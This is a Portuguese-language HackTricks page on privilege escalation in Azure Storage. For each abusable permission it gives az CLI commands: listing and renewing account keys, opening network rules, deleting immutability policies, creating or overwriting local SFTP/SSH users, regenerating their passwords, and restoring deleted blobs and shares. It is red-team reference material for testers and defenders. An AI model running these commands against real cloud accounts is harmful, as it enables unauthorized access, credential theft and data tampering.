Az - Storage Privesc

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Storage Privesc

Para mais informações sobre armazenamento, consulte:

Az - Storage Accounts & Blobs

Microsoft.Storage/storageAccounts/listkeys/action

Um principal com esta permissão poderá listar (e os valores secretos) das chaves de acesso das contas de armazenamento. Permitindo que o principal eleve seus privilégios sobre as contas de armazenamento.

bash
az storage account keys list --account-name <acc-name>

Microsoft.Storage/storageAccounts/regenerateKey/action

Um principal com esta permissão poderá renovar e obter o novo valor secreto das chaves de acesso das contas de armazenamento. Permitindo que o principal eleve seus privilégios sobre as contas de armazenamento.

Além disso, na resposta, o usuário receberá o valor da chave renovada e também da não renovada:

bash
az storage account keys renew --account-name <acc-name> --key key2

Microsoft.Storage/storageAccounts/write

Um principal com esta permissão poderá criar ou atualizar uma conta de armazenamento existente, atualizando qualquer configuração, como regras de rede ou políticas.

bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow

# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>

Blobs Specific privesc

Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete

A primeira permissão permite modificar políticas de imutabilidade em contêineres e a segunda permite excluí-las.

note

Observe que se uma política de imutabilidade estiver em estado de bloqueio, você não poderá fazer nenhuma das duas ações.

bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP>

az storage container immutability-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>

File shares specific privesc

Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action

Isso deve permitir que um usuário com essa permissão possa assumir a propriedade de arquivos dentro do sistema de arquivos compartilhado.

Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action

Isso deve permitir que um usuário com essa permissão possa modificar as permissões de arquivos dentro do sistema de arquivos compartilhado.

Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action

Isso deve permitir que um usuário com essa permissão possa realizar ações dentro de um sistema de arquivos como um superusuário.

Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)

Com essa permissão, um atacante pode criar e atualizar (se tiver a permissão Microsoft.Storage/storageAccounts/localusers/read) um novo usuário local para uma conta de Armazenamento do Azure (configurada com namespace hierárquico), incluindo a especificação das permissões e do diretório inicial do usuário. Essa permissão é significativa porque permite que o atacante se conceda acesso a uma conta de armazenamento com permissões específicas, como leitura (r), gravação (w), exclusão (d) e listagem (l) e mais. Além disso, os métodos de autenticação que isso utiliza podem ser senhas geradas pelo Azure e pares de chaves SSH. Não há verificação se um usuário já existe, então você pode sobrescrever outros usuários que já estão lá. O atacante poderia escalar suas permissões e obter acesso SSH à conta de armazenamento, potencialmente expondo ou comprometendo dados sensíveis.

bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME> \
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use

Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action

Com esta permissão, um atacante pode regenerar a senha de um usuário local em uma conta de Armazenamento do Azure. Isso concede ao atacante a capacidade de obter novas credenciais de autenticação (como uma senha SSH ou SFTP) para o usuário. Ao aproveitar essas credenciais, o atacante poderia obter acesso não autorizado à conta de armazenamento, realizar transferências de arquivos ou manipular dados dentro dos contêineres de armazenamento. Isso poderia resultar em vazamento de dados, corrupção ou modificação maliciosa do conteúdo da conta de armazenamento.

bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>

Para acessar o Azure Blob Storage via SFTP (is_hns_enabled deve ser verdadeiro) usando um usuário local via SFTP, você pode (você também pode usar uma chave ssh para se conectar):

bash
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password

Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action

Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou recuperar blobs específicos dentro de um contêiner, se eles foram previamente excluídos de forma suave. Essa escalada de privilégio poderia permitir que um atacante recuperasse dados sensíveis que deveriam ter sido excluídos permanentemente, potencialmente levando a acessos não autorizados.

bash
#Restore the soft deleted container
az storage container restore \
--account-name <STORAGE_ACCOUNT_NAME> \
--name <CONTAINER_NAME> \
--deleted-version <VERSION>

#Restore the soft deleted blob
az storage blob undelete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"

Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read

Com essas permissões, um atacante pode restaurar um compartilhamento de arquivos do Azure excluído especificando seu ID de versão excluída. Essa elevação de privilégio pode permitir que um atacante recupere dados sensíveis que deveriam ser permanentemente excluídos, potencialmente levando a acesso não autorizado.

bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>

Outras permissões interessantes (TODO)

  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Altera a propriedade do blob
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifica as permissões do blob
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Retorna o resultado do comando do blob
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks